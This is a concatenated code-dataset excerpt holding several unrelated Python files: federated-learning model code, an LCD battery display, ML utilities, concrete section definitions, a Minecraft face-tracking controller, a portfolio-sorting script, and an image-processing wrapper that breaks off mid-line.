target.data.numpy())\r\n print(\"correct\", correct, \"total\", total, \"batch index\", batch_idx)\r\n print(\"pred label\",pred_labels_list)\r\n\r\n print(correct, total)\r\n\r\n conf_matrix = confusion_matrix(true_labels_list, pred_labels_list)\r\n\r\n for i, model in enumerate(models):\r\n if was_training[i]:\r\n model.train()\r\n\r\n return correct / float(total), conf_matrix\r\n\r\n\r\ndef init_nets(input_channel,num_filters, kernel_size, input_dim, hidden_dims, output_dim, n_nets,args=args_parser()):\r\n\r\n\tinput_size = args.net_config[0]\r\n\toutput_size = args.net_config[-1]\r\n\thidden_sizes = args.net_config[1:-1]\r\n\r\n\tnets = {net_i: None for net_i in range(n_nets)}\r\n\r\n\tfor net_i in range(n_nets):\r\n\t\tnet = CNNContainer(input_channel,num_filters, kernel_size, input_dim, hidden_dims, output_dim)\r\n\t\tnets[net_i] = net\r\n\r\n\treturn nets\r\n\r\n\r\ndef load_new_state(nets, new_weights):\r\n\r\n\tfor netid, net in nets.items():\r\n\r\n\t\tstatedict = net.state_dict()\r\n\t\tweights = new_weights[netid]\r\n\r\n\t\t# Load weight into the network\r\n\t\ti = 0\r\n\t\tlayer_i = 1\r\n\r\n\t\twhile i < len(weights):\r\n\t\t\tweight = weights[i]\r\n\t\t\ti += 1\r\n\t\t\tbias = weights[i]\r\n\t\t\ti += 1\r\n\r\n\t\t\tstatedict['fc%d.weight' % layer_i] = torch.from_numpy(weight.T)\r\n\t\t\tstatedict['fc%d.bias' % layer_i] = torch.from_numpy(bias)\r\n\t\t\tlayer_i += 1\r\n\r\n\t\tnet.load_state_dict(statedict)\r\n\r\n\treturn nets\r\n\r\n\r\ndef compute_pdm_net_accuracy(weights, train_dl, test_dl, n_classes,cls_freqs,args=args_parser()):\r\n\r\n dims = []\r\n x = np.array(weights[0])\r\n dims.append(x.shape[0])\r\n for i in range(0, len(weights), 2):\r\n x = np.array(weights[i])\r\n dims.append(x.shape[1])\r\n print(\"dims\", dims)\r\n input_dim = dims[0]\r\n output_dim = dims[-1]\r\n hidden_dims = dims[1:-1]\r\n input_channel = 3\r\n num_filters = 64\r\n kernel_size = 5\r\n n_nets = int(args.num_users * args.frac)\r\n nets = {net_i: None for net_i in range(n_nets)}\r\n for net_i in range(n_nets):\r\n pdm_net = CNNContainer(input_channel,num_filters, kernel_size, input_dim, hidden_dims, output_dim)\r\n statedict = pdm_net.state_dict()\r\n\r\n i = 0\r\n layer_i = 0\r\n while i < len(weights):\r\n weight = weights[i]\r\n i += 1\r\n bias = weights[i]\r\n i += 1\r\n number_conv = layer_i+1\r\n statedict['fc%d.weight' % number_conv] = torch.from_numpy(weight.T)\r\n statedict['fc%d.bias' % number_conv] = torch.from_numpy(bias)\r\n \"\"\"statedict['layers.%d.weight' % layer_i] = torch.from_numpy(weight.T)\r\n statedict['layers.%d.bias' % layer_i] = torch.from_numpy(bias)\"\"\"\r\n layer_i += 1\r\n\r\n pdm_net.load_state_dict(statedict)\r\n nets[net_i] = pdm_net\r\n nets_list = list(nets.values())\r\n\r\n train_acc, conf_matrix_train = compute_ensemble_accuracy(nets_list, train_dl, n_classes,train_cls_counts=cls_freqs,\r\n uniform_weights=True,sanity_weights=False)\r\n test_acc, conf_matrix_test = compute_ensemble_accuracy(nets_list, test_dl, n_classes,train_cls_counts=cls_freqs, uniform_weights=True,sanity_weights=False)\r\n\r\n return train_acc, test_acc, conf_matrix_train, conf_matrix_test,nets\r\n\r\n\r\ndef train_net(net_id, net, train_dataloader, test_dataloader, epochs, args=args_parser()):\r\n print('Training network %s' % str(net_id))\r\n print('n_training: %d' % len(train_dataloader))\r\n print('n_test: %d' % len(test_dataloader))\r\n\r\n train_correct, train_total = compute_accuracy(net, train_dataloader)\r\n test_correct, test_total, conf_matrix = compute_accuracy(net, test_dataloader, get_confusion_matrix=True)\r\n train_acc = train_correct/train_total\r\n test_acc = test_correct/test_total\r\n print('>> Pre-Training Training accuracy: %.3f' % train_acc)\r\n print('>> Pre-Training Test accuracy: %.3f' % test_acc)\r\n\r\n optimizer = torch.optim.SGD(filter(lambda p: p.requires_grad, net.parameters()), lr=args.lr,\r\n momentum=args.momentum, weight_decay=args.weight_decay)\r\n\r\n criterion = nn.CrossEntropyLoss()\r\n\r\n cnt = 0\r\n losses, running_losses = [], []\r\n\r\n for epoch in range(epochs):\r\n for batch_idx, (x, target) in enumerate(train_dataloader):\r\n optimizer.zero_grad()\r\n x.requires_grad = True\r\n target.requires_grad = False\r\n target = target.long()\r\n\r\n out = net(x)\r\n loss = criterion(out, target)\r\n loss.backward()\r\n optimizer.step()\r\n\r\n cnt += 1\r\n losses.append(loss.item())\r\n\r\n print('Epoch: %d Loss: %f ' % (epoch, loss.item()))\r\n\r\n train_correct, train_total = compute_accuracy(net, train_dataloader)\r\n test_correct, test_total , conf_matrix = compute_accuracy(net, test_dataloader, get_confusion_matrix=True)\r\n\r\n print('>> Training accuracy: %.4f' % train_acc)\r\n print('>> Test accuracy: %.4f' % test_acc)\r\n\r\n print(' ** Training complete **')\r\n\r\n return train_correct, train_total, test_correct, test_total","sub_path":"models_fedma.py","file_name":"models_fedma.py","file_ext":"py","file_size_in_byte":28533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"262929791","text":"msg_soc='BA:?'\nmsg_p='P:?'\nmsg_ppvt='PV:?'\nmsg_conso='CON:?'\nsoc=101\n\ntry:\n tree = etree.parse(configGet('tmpFileDataXml'))\n for datas in tree.xpath(\"/devices/device/datas/data\"):\n if datas.get(\"id\") in configGet('lcd','dataPrint'):\n for data in datas.getchildren():\n if data.tag == \"value\":\n if datas.get(\"id\") == 'SOC':\n msg_soc='BA:'+data.text + '%'\n soc=data.text\n elif datas.get(\"id\") == 'P':\n msg_p = 'P:'+data.text + 'W'\n elif datas.get(\"id\") == 'PPVT':\n msg_ppvt = 'PV:'+data.text + 'W'\n elif datas.get(\"id\") == 'CONSO' and data.text != 'NODATA':\n msg_conso = 'CON:'+data.text + 'W'\nexcept:\n debugTerm(\"Erreur dans la lecture du XML la syntax n'est pas bonne ?\")\n \n# Construction de l'affichage\nlcd.clear()\nnb_ligne1_space=lcd_columns-len(msg_soc)-len(msg_p)\nligne1_msg=msg_soc\nfor nb_space1 in range(nb_ligne1_space):\n ligne1_msg=ligne1_msg+' '\nligne1_msg=ligne1_msg+msg_p\n\nnb_ligne2_space=lcd_columns-len(msg_ppvt)-len(msg_conso)\nligne2_msg=msg_ppvt\nfor nb_space2 in range(nb_ligne2_space):\n ligne2_msg=ligne2_msg+' '\nligne2_msg=ligne2_msg+msg_conso\n\nlcd.message = ligne1_msg+'\\n'+ligne2_msg\ndebugTerm('Affichage\\n' + ligne1_msg+'\\n'+ligne2_msg)\n\nif etat_lcd == True:\n if float(soc) >= 94 and float(soc) < 100:\n # Vert\n lcd.color = [0, 100, 0]\n elif float(soc) <= 85:\n # Rouge\n lcd.color = [100, 0, 0]\n elif float(soc) > 85:\n # Jaune\n lcd.color = [100, 100, 0]\n else:\n lcd.color = [100, 100, 100]\n \n \n","sub_path":"lcd/Menu0.py","file_name":"Menu0.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"639096194","text":"# util.py\n# These are general utility functions that are useful across all of our algorithms/code. Most of this is used by the\n# algorithms from last assignment that find the centers for the RBFNN.\n\nimport csv\nimport operator as op\n\n\n# Calculates the class distribution of a 2D list of data. The distribution is stored in a dictionary that maps each\n# class to the proportion of examples in 'data' that have that class.\ndef calculate_class_distribution(data, class_col):\n n = len(data)\n # This is our map of each class to its probability/proportion:\n probs = {}\n for obs in data:\n class_val = obs[class_col]\n # We either update the probabilities if the class was already present, or initialize the probability if not.\n # Note that we divide by n here in order to prevent having to do it in a future iteration of the probability\n # map.\n if class_val in probs:\n probs[class_val] += 1 / n\n else:\n probs[class_val] = 1 / n\n return probs\n\n# This function takes in a probability distribution, outputs the class corresponding to the maximum probability. This\n# would essentially return our \"guess\" for the class of an observation.\ndef get_highest_class(classes:dict) -> str:\n # We find the maximum by searching for the max probability\n return max(classes.items(), key=op.itemgetter(1))[0]\n\n\n# Creates a 2D list from a file.\ndef read_file(filename):\n with open(filename) as csvfile:\n data = list(csv.reader(csvfile))\n empty_removed = []\n for line in data:\n if line:\n empty_removed.append(tuple(line))\n return empty_removed\n\n\n# Counts the frequency of each class in the 2D list of data. Returns a map of each class to a count of the number of\n# times it appears in the data.\ndef count_frequency(data):\n freq = {}\n for item in data:\n if item in freq:\n freq[item] += 1\n else:\n freq[item] = 1\n return freq","sub_path":"src/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"38150475","text":"# -*- coding: utf-8 -*-\n\nimport math\nimport os\nimport xc_base\nimport geom\nimport xc\n# Macros\n#from materials.ehe import auxEHE\nfrom materials.sections.fiber_section import defSimpleRCSection\nfrom materials.sections import section_properties\nfrom postprocess import RC_material_distribution\n\n\nfrom materials.sia262 import SIA262_materials\nfrom materials.sia262 import SIA262_limit_state_checking\n\nfrom postprocess import limit_state_data as lsd\nfrom postprocess import element_section_map\n\n\nareaFi6= SIA262_materials.section_barres_courantes[6e-3]\nareaFi8= SIA262_materials.section_barres_courantes[8e-3]\nareaFi10= SIA262_materials.section_barres_courantes[10e-3]\nareaFi12= SIA262_materials.section_barres_courantes[12e-3]\nareaFi14= SIA262_materials.section_barres_courantes[14e-3]\nareaFi16= SIA262_materials.section_barres_courantes[16e-3]\nareaFi18= SIA262_materials.section_barres_courantes[18e-3]\nareaFi20= SIA262_materials.section_barres_courantes[20e-3]\nareaFi22= SIA262_materials.section_barres_courantes[22e-3]\nareaFi26= SIA262_materials.section_barres_courantes[26e-3]\nareaFi30= SIA262_materials.section_barres_courantes[30e-3]\nareaFi34= SIA262_materials.section_barres_courantes[34e-3]\nareaFi40= SIA262_materials.section_barres_courantes[40e-3]\n\nconcrete= SIA262_materials.c25_30\nreinfSteel= SIA262_materials.B500B\n#Define available sections for the elements (spatial distribution of RC sections).\nreinfConcreteSectionDistribution= RC_material_distribution.RCMaterialDistribution()\nsections= reinfConcreteSectionDistribution.sectionDefinition\n\n#Generic layers (rows of rebars)\nfi8s150r40=defSimpleRCSection.MainReinfLayer(rebarsDiam=8e-3,areaRebar= areaFi8,rebarsSpacing= 0.150,width=1.0,nominalCover= 0.040)\nfi8s150r50=defSimpleRCSection.MainReinfLayer(rebarsDiam=8e-3,areaRebar= areaFi8,rebarsSpacing= 0.150,width=1.0,nominalCover=0.050)\n\nfi10s150r40=defSimpleRCSection.MainReinfLayer(rebarsDiam=10e-3,areaRebar= areaFi10,rebarsSpacing= 0.150,width=1.0,nominalCover=0.040)\nfi10s150r50=defSimpleRCSection.MainReinfLayer(rebarsDiam=10e-3,areaRebar= areaFi10,rebarsSpacing= 0.150,width=1.0,nominalCover=0.050)\n\nfi12s150r40=defSimpleRCSection.MainReinfLayer(rebarsDiam=12e-3,areaRebar= areaFi12,rebarsSpacing= 0.150,width=1.0,nominalCover= 0.040)\nfi12s150r50=defSimpleRCSection.MainReinfLayer(rebarsDiam=12e-3,areaRebar= areaFi12,rebarsSpacing= 0.150,width=1.0,nominalCover= 0.050)\n\nfi14s150r40=defSimpleRCSection.MainReinfLayer(rebarsDiam=14e-3,areaRebar= areaFi14,rebarsSpacing= 0.150,width=1.0,nominalCover= 0.040)\nfi14s150r50=defSimpleRCSection.MainReinfLayer(rebarsDiam=14e-3,areaRebar= areaFi14,rebarsSpacing= 0.150,width=1.0,nominalCover= 0.050)\n\nfi16s150r40=defSimpleRCSection.MainReinfLayer(rebarsDiam=16e-3,areaRebar= areaFi16,rebarsSpacing= 0.150,width=1.0,nominalCover= 0.040)\nfi16s150r50=defSimpleRCSection.MainReinfLayer(rebarsDiam=16e-3,areaRebar= areaFi16,rebarsSpacing= 0.150,width=1.0,nominalCover= 0.050)\n\nfi18s150r40=defSimpleRCSection.MainReinfLayer(rebarsDiam=18e-3,areaRebar= areaFi18,rebarsSpacing= 0.150,width=1.0,nominalCover= 0.040)\nfi18s150r50=defSimpleRCSection.MainReinfLayer(rebarsDiam=18e-3,areaRebar= areaFi18,rebarsSpacing= 0.150,width=1.0,nominalCover= 0.050)\n\nfi20s150r40=defSimpleRCSection.MainReinfLayer(rebarsDiam=20e-3,areaRebar= areaFi20,rebarsSpacing= 0.150,width=1.0,nominalCover= 0.040)\nfi20s150r50=defSimpleRCSection.MainReinfLayer(rebarsDiam=20e-3,areaRebar= areaFi20,rebarsSpacing= 0.150,width=1.0,nominalCover=0.050)\n\nfi26s150r40=defSimpleRCSection.MainReinfLayer(rebarsDiam=26e-3,areaRebar= areaFi26,rebarsSpacing= 0.150,width=1.0,nominalCover= 0.040)\nfi26s150r50=defSimpleRCSection.MainReinfLayer(rebarsDiam=26e-3,areaRebar= areaFi26,rebarsSpacing= 0.150,width=1.0,nominalCover= 0.050)\n\n\ndeckSlabRCSect= defSimpleRCSection.RecordRCSlabBeamSection(name='deckSlabRCSect',sectionDescr=\"estacade.\",concrType=concrete, reinfSteelType=reinfSteel,depth=0.20)\n#[0]: rebars on back end section.\n#[1]: rebars on front end section\n\n\ndeckSlabRCSect.dir1PositvRebarRows=[fi12s150r40] #Ok\ndeckSlabRCSect.dir1NegatvRebarRows=[fi12s150r40] #Ok\ndeckSlabRCSect.dir2PositvRebarRows=[fi12s150r40] #Ok\ndeckSlabRCSect.dir2NegatvRebarRows=[fi12s150r40] #Ok\n\ndeckSlabRCSect.creaTwoSections() \nsections.append(deckSlabRCSect)\n\nparapetRCSect= defSimpleRCSection.RecordRCSlabBeamSection(name='parapetRCSect',sectionDescr=\"estacade.\",concrType=concrete, reinfSteelType=reinfSteel,depth=0.20)\n#[0]: rebars on back end section.\n#[1]: rebars on front end section\nparapetRCSect.dir1PositvRebarRows=[fi10s150r40] #Ok\nparapetRCSect.dir1NegatvRebarRows=[fi12s150r40] #Ok\nparapetRCSect.dir2PositvRebarRows=[fi10s150r40] #Ok\nparapetRCSect.dir2NegatvRebarRows=[fi12s150r40] #Ok\n\nparapetRCSect.creaTwoSections() \nsections.append(parapetRCSect)\n","sub_path":"ps_bole_calculs_statiques/xc_model/sectionsDef.py","file_name":"sectionsDef.py","file_ext":"py","file_size_in_byte":4761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"170706144","text":"from mcpi.minecraft import Minecraft\r\nimport numpy as np\r\nimport cv2\r\nimport time\r\nfrom pynput.keyboard import Key, Controller\r\n\r\nmc=Minecraft.create()\r\ncap = cv2.VideoCapture(0)\r\nface_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\r\npos=mc.player.getTilePos()\r\nprint(\"player pos is\",pos)\r\nkeyboard = Controller()\r\n\r\nwhile True:\r\n xx = 300\r\n yy = 300\r\n ret,frame=cap.read()\r\n frame = cv2.flip(frame,1)\r\n gray=cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)\r\n faces=face_cascade.detectMultiScale(gray,1.3,5)\r\n\r\n for (x,y,w,h) in faces:\r\n \r\n if x<250 and w>70 and w<110:\r\n mc.player.setTilePos(pos.x,pos.y,pos.z+1)\r\n pos=mc.player.getTilePos()\r\n mc.postToChat(\"right\")\r\n time.sleep(1)\r\n elif x>350 and w>70 and w<110:\r\n mc.player.setTilePos(pos.x,pos.y,pos.z-1)\r\n pos=mc.player.getTilePos()\r\n mc.postToChat(\"left\")\r\n time.sleep(1)\r\n elif y<150 and w>70 and w<110:\r\n mc.player.setTilePos(pos.x,pos.y+1,pos.z)\r\n pos=mc.player.getTilePos()\r\n mc.postToChat(\"up\")\r\n time.sleep(1)\r\n elif y>250 and w>70 and w<110:\r\n mc.player.setTilePos(pos.x,pos.y-1,pos.z)\r\n pos=mc.player.getTilePos()\r\n mc.postToChat(\"down\")\r\n time.sleep(1)\r\n elif w>120:\r\n mc.player.setTilePos(pos.x+1,pos.y,pos.z)\r\n pos=mc.player.getTilePos()\r\n mc.postToChat(\"ahead\")\r\n time.sleep(1)\r\n elif w<80:\r\n mc.player.setTilePos(pos.x-1,pos.y,pos.z)\r\n pos=mc.player.getTilePos()\r\n mc.postToChat(\"behind\")\r\n time.sleep(1)\r\n\r\n\r\n \r\n cv2.imshow(\"frame\",frame)\r\n key=cv2.waitKey(20)\r\n\r\n if key==27:\r\n break \r\ncv2.destroyAllWindows()\r\ncap.release()\r\n\r\n\r\n\r\n\r\n \r\n","sub_path":"xzy/assignment2.py","file_name":"assignment2.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"179774494","text":"matches = open(\"/Users/weizhisong/Desktop/28matches.txt\")\nout = open(\"/Users/weizhisong/Desktop/28matches_commands.txt\", 'w')\nfor match in matches:\n match = match.strip()\n match_split = match.split('___')\n gene_1 = './' + match + '/' + match_split[0] + '.gbk '\n gene_2 = './' + match + '/' + match_split[1] + '.gbk '\n comparison_file = './' + match + '/' + match + '.txt '\n act = '/Users/weizhisong/Softwares/artemis/act '\n command = act + gene_1 + comparison_file + gene_2 + '\\n'\n out.write(command)\n print(command)\nout.close()\n","sub_path":"tools/act_commands_generator.py","file_name":"act_commands_generator.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"298387786","text":"# -*- coding: utf-8 -*-\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport scipy\n\ndata_max = pd.read_excel('beta_data.xlsx', skiprows=13, index_col='Symbol Name')\nstock = pd.read_excel('stock_data.xlsx', skiprows=13, index_col='Symbol Name')\nsto = stock.T\n\ndata_max_t = data_max.T\ndf = pd.DataFrame()\nb = []\nfor i in list(data_max_t.columns.values):\n data_max_t_a = data_max_t.sort_values([i], ascending=[True])\n b.append(data_max_t_a.index.values)\n\nf_buffer = []\ns_buffer = []\nt_buffer = []\nfour_buffer = []\nfive_buffer = []\nsix_buffer = []\nseven_buffer = []\neight_buffer = []\nnine_buffer = []\nten_buffer = []\n\nfor i in range(len(b)):\n # Create 10 Portfolio\n first = b[i][:25]\n second = b[i][25:50]\n third = b[i][50:75]\n four = b[i][75:100]\n five = b[i][100:125]\n six = b[i][125:150]\n seven = b[i][150:175]\n eight = b[i][175:200]\n nine = b[i][200:225]\n ten = b[i][225:]\n \n f_buffer.append(first)\n s_buffer.append(second)\n t_buffer.append(third)\n four_buffer.append(four)\n five_buffer.append(five)\n six_buffer.append(six)\n seven_buffer.append(seven)\n eight_buffer.append(eight)\n nine_buffer.append(nine)\n ten_buffer.append(ten)\n\nf_r = []\nfor j in range(len(list(sto.columns.values)) - 1):\n f_buffer_r = []\n for i in range(len(f_buffer[0])):\n a = sto[sto.index.str.startswith(f_buffer[j][i])].iloc[0]\n f_buffer_r.append(a[j + 1])\n f_r.append(f_buffer_r)\n\ns_r = []\nfor j in range(len(list(sto.columns.values)) - 1):\n s_buffer_r = []\n for i in range(len(s_buffer[0])):\n a = sto[sto.index.str.startswith(s_buffer[j][i])].iloc[0]\n s_buffer_r.append(a[j + 1])\n s_r.append(s_buffer_r)\n\nt_r = []\nfor j in range(len(list(sto.columns.values)) - 1):\n t_buffer_r = []\n for i in range(len(t_buffer[0])):\n a = sto[sto.index.str.startswith(t_buffer[j][i])].iloc[0]\n t_buffer_r.append(a[j + 1])\n t_r.append(t_buffer_r)\n\nfour_r = []\nfor j in range(len(list(sto.columns.values)) - 1):\n four_buffer_r = []\n for i in range(len(four_buffer[0])):\n a = sto[sto.index.str.startswith(four_buffer[j][i])].iloc[0]\n four_buffer_r.append(a[j + 1])\n four_r.append(four_buffer_r)\n\nfive_r = []\nfor j in range(len(list(sto.columns.values)) - 1):\n five_buffer_r = []\n for i in range(len(five_buffer[0])):\n a = sto[sto.index.str.startswith(five_buffer[j][i])].iloc[0]\n five_buffer_r.append(a[j + 1])\n five_r.append(five_buffer_r)\n\nsix_r = []\nfor j in range(len(list(sto.columns.values)) - 1):\n six_buffer_r = []\n for i in range(len(six_buffer[0])):\n a = sto[sto.index.str.startswith(six_buffer[j][i])].iloc[0]\n six_buffer_r.append(a[j + 1])\n six_r.append(six_buffer_r)\n\nseven_r = []\nfor j in range(len(list(sto.columns.values)) - 1):\n seven_buffer_r = []\n for i in range(len(seven_buffer[0])):\n a = sto[sto.index.str.startswith(seven_buffer[j][i])].iloc[0]\n seven_buffer_r.append(a[j + 1])\n seven_r.append(seven_buffer_r)\n\neight_r = []\nfor j in range(len(list(sto.columns.values)) - 1):\n eight_buffer_r = []\n for i in range(len(eight_buffer[0])):\n a = sto[sto.index.str.startswith(eight_buffer[j][i])].iloc[0]\n eight_buffer_r.append(a[j + 1])\n eight_r.append(eight_buffer_r)\n\nnine_r = []\nfor j in range(len(list(sto.columns.values)) - 1):\n nine_buffer_r = []\n for i in range(len(nine_buffer[0])):\n a = sto[sto.index.str.startswith(nine_buffer[j][i])].iloc[0]\n nine_buffer_r.append(a[j + 1])\n nine_r.append(nine_buffer_r)\n\nten_r = []\nfor j in range(len(list(sto.columns.values)) - 1):\n ten_buffer_r = []\n for i in range(len(ten_buffer[0])):\n a = sto[sto.index.str.startswith(ten_buffer[j][i])].iloc[0]\n ten_buffer_r.append(a[j + 1])\n ten_r.append(ten_buffer_r)\n\nf_mean = []\nfor i in f_r:\n listSum = sum(i)\n listLength = len(i)\n f_mean.append(listSum / listLength)\n\ns_mean = []\nfor i in s_r:\n listSum = sum(i)\n listLength = len(i)\n s_mean.append(listSum / listLength)\n\nt_mean = []\nfor i in t_r:\n listSum = sum(i)\n listLength = len(i)\n t_mean.append(listSum / listLength)\n\nfour_mean = []\nfor i in four_r:\n listSum = sum(i)\n listLength = len(i)\n four_mean.append(listSum / listLength)\n\nfive_mean = []\nfor i in five_r:\n listSum = sum(i)\n listLength = len(i)\n five_mean.append(listSum / listLength)\n\nsix_mean = []\nfor i in six_r:\n listSum = sum(i)\n listLength = len(i)\n six_mean.append(listSum / listLength)\n\nseven_mean = []\nfor i in seven_r:\n listSum = sum(i)\n listLength = len(i)\n seven_mean.append(listSum / listLength)\n\neight_mean = []\nfor i in eight_r:\n listSum = sum(i)\n listLength = len(i)\n eight_mean.append(listSum / listLength)\n\nnine_mean = []\nfor i in nine_r:\n listSum = sum(i)\n listLength = len(i)\n nine_mean.append(listSum / listLength)\n\nten_mean = []\nfor i in ten_r:\n listSum = sum(i)\n listLength = len(i)\n ten_mean.append(listSum / listLength)\n\nnew = pd.concat([pd.DataFrame(f_mean), pd.DataFrame(s_mean), pd.DataFrame(t_mean),\n pd.DataFrame(four_mean), pd.DataFrame(five_mean), pd.DataFrame(six_mean),\n pd.DataFrame(seven_mean), pd.DataFrame(eight_mean) ,pd.DataFrame(nine_mean),\n pd.DataFrame(ten_mean)], axis=1)\nnew.to_excel(\"bab_result.xlsx\")\n","sub_path":"bab.py","file_name":"bab.py","file_ext":"py","file_size_in_byte":5398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"626554047","text":"# Copyright 2011 Ricoh Innovations, Inc.\nfrom __future__ import division\nimport os, datetime, uuid, array\nfrom PIL import Image\n\nfrom ew.util import ew_logging\nfrom ew.util import system_config\nimport pyimage\n\nlogger = ew_logging.getLogger('ew.util.ew_image')\n \nRAW_IMAGE_SIZE = (2592, 1944)\nresize_algorithm = Image.BILINEAR\nIMAGE_SIZES = {'s': .25, 'm': .5, 'l': .75, 'full': 1.0}\n \nERROR_LOAD = \"Error loading image.\"\nERROR_CREATE = \"Error encountered while creating image.\"\nERROR_CONVERT = \"Error converting image.\"\nERROR_ROTATE = \"Error encountered while rotating image.\"\nERROR_RESIZE = \"Error encountered while resizing image.\"\nERROR_DITHER = \"Error encountered while dithering image.\"\nERROR_PASTE = \"Error encountered while pasting image.\"\nERROR_FILL_IMAGE = \"Error encountered while creating new blank image.\"\nERROR_SAVE = \"Error encountered while saving the image.\"\n \n \ndef get_error(message):\n return \"%s: %r\" % (message, pyimage.error_message())\n \n\nclass EwImage:\n \"\"\"Small wrapper to make the C image library simpler.\n TODO:\n Not used yet.\n Eventually, PIL should be rolled into this module as a fallback.\n Need to take advantage of re-using buffers.\n \"\"\"\n \n def __init__(self, size, path=None):\n self.w, self.h = size\n if path is not None:\n self.name, self.extension = os.path.basename(path).split('.')\n self.path = path\n self.image = None\n\n def _load(self):\n if self.image is None and self.path is not None:\n logger.debug(\"Loading image file: %r\", self.path)\n image_type = self.extension.upper()\n if image_type in ['Y', 'UYVY']:\n self.image = pyimage.image(self.w, self.h, image_type)\n if not self.image:\n raise RuntimeError(ERROR_CREATE)\n if pyimage.load_data(self.image, self.path) != 0:\n raise RuntimeError(ERROR_LOAD)\n else:\n self.image = self._load_pgm()\n \n @classmethod\n def _create_new(cls, w, h, image, type):\n _instance = cls((w, h))\n _instance.image = image\n _instance.extension = type\n return _instance\n \n def new_image(self, type=\"Y\", color=(0x80 << 16 | 0x80 << 8 | 0x80)):\n self.extension = type\n self.image = pyimage.image(self.w, self.h, self.extension)\n if not self.image:\n raise RuntimeError(ERROR_CREATE)\n if pyimage.fill(self.image, 0, 0, self.w, self.h, color) != 0:\n raise RuntimeError(ERROR_FILL_IMAGE)\n \n def _load_pgm(self):\n pnm = pyimage.load_pnm(self.path)\n if not pnm:\n raise RuntimeError(ERROR_LOAD)\n width = int(pyimage.image_width(pnm)/2)\n height = int(pyimage.image_height(pnm)/2)\n self.size = (width, height)\n self.extension = pyimage.image_type(pnm)\n image = pyimage.image(self.w, self.h, self.extension)\n if not image:\n raise RuntimeError(ERROR_CREATE)\n return image\n\n def get_bw(self):\n self._load()\n bw_image = pyimage.image(self.w, self.h, 'Y')\n if not bw_image:\n raise RuntimeError(ERROR_CREATE)\n if pyimage.convert(bw_image, self.image) != 0:\n raise RuntimeError(ERROR_CONVERT)\n return EwImage._create_new(self.w, self.h, bw_image, 'Y') \n\n def get_color(self, type=\"UYVY\"):\n self._load()\n if type == self.extension.upper():\n return self\n else:\n color_image = pyimage.image(self.w, self.h, type)\n if not color_image:\n raise RuntimeError(ERROR_CREATE)\n if pyimage.convert(color_image, self.image) != 0:\n raise RuntimeError(ERROR_CONVERT)\n return EwImage._create_new(self.w, self.h, color_image, type)\n \n def rotate(self):\n self._load()\n rotated_image = pyimage.image(self.h, self.w, \n self.extension.upper())\n if not rotated_image:\n raise RuntimeError(ERROR_CREATE)\n if pyimage.rotate(rotated_image, self.image) != 0:\n raise RuntimeError(ERROR_ROTATE)\n return EwImage._create_new(self.h, self.w, rotated_image, \n self.extension.upper())\n \n def _resize_simple(self, size):\n w, h = size\n resized_image = pyimage.image(w, h, self.extension.upper())\n if not resized_image:\n raise RuntimeError(ERROR_CREATE)\n if pyimage.convert(resized_image, self.image) != 0:\n raise RuntimeError(ERROR_RESIZE)\n return EwImage._create_new(w, h, resized_image, \n self.extension.upper())\n\n def _resize_two_step(self, size):\n pass\n\n def resize(self, size):\n self._load()\n #from fractions import Fraction\n #source_size_w, source_size_h = self.w, self.h\n #target_size_w, target_size_h = size\n #factor_w = Fraction(source_size_w/target_size_w)\n #factor_h = Fraction(source_size_h/target_size_h)\n return self._resize_simple(size)\n\n def dither(self, algorithm=2):\n self._load()\n bw_image = self.image \n if self.extension != 'Y':\n logger.debug(\"Converting to bw before dithering.\")\n bw_image = self.get_bw()\n dithered_image = pyimage.image(self.w, self.h, \"Y\")\n if not dithered_image:\n raise RuntimeError(ERROR_CREATE)\n if pyimage.dither(dithered_image, bw_image, int(algorithm)) != 0:\n raise RuntimeError(ERROR_DITHER)\n return EwImage._create_new(self.w, self.h, dithered_image, 'Y')\n\n def paste(self, dest_x, dest_y, ew_image, box=None):\n self._load()\n x = y = 0\n w, h = ew_image.w, ew_image.h\n if box:\n x, y, w, h = box\n if pyimage.bitblt(self.image, dest_x, dest_y, ew_image.image, x, y, w, h) != 0:\n raise RuntimeError(ERROR_PASTE)\n return self\n\n def save(self, path, type=\"RAW\", quality=system_config.image_quality):\n type = type.upper()\n if type == \"RAW\" or type == \"UYVY\" or type == \"Y\" or type == \"RGB24\":\n pyimage.save_data(self.image, path)\n elif type == \"JPEG\" or type == \"JPG\":\n pyimage.save_jpeg(self.image, path, int(quality))\n elif type == \"BMP\":\n pyimage.save_bitmap(self.image, path)\n elif type == \"PGM\" or type == \"PNM\":\n pyimage.save_pnm(self.image, path)\n\n def cleanup(self, path):\n if os.path.exists(path):\n os.remove(path)\n \n\ndef _uyvy_to_rgb(source_image):\n w, h = RAW_IMAGE_SIZE\n logger.debug(\"Converting UYVY to RGB\")\n name, extension = os.path.basename(source_image).split('.')\n raw_image = pyimage.image(w, h, extension.upper())\n rgb_image = pyimage.image(w, h, 'RGB24')\n if not raw_image or not rgb_image:\n raise RuntimeError(ERROR_CREATE)\n if pyimage.load_data(raw_image, source_image) != 0:\n raise RuntimeError(ERROR_LOAD)\n if pyimage.convert(rgb_image, raw_image) != 0:\n raise RuntimeError(ERROR_CONVERT)\n return rgb_image\n \ndef _uyvy_to_y(source_image):\n w, h = RAW_IMAGE_SIZE\n logger.debug(\"Converting UYVY to Y\")\n name, extension = os.path.basename(source_image).split('.')\n raw_image = pyimage.image(w, h, extension.upper())\n raw_bw_image = pyimage.image(w, h, 'Y')\n if not raw_image or not raw_bw_image:\n raise RuntimeError(ERROR_CREATE)\n if pyimage.load_data(raw_image, source_image) != 0:\n raise RuntimeError(ERROR_CREATE)\n if pyimage.convert(raw_bw_image, raw_image) != 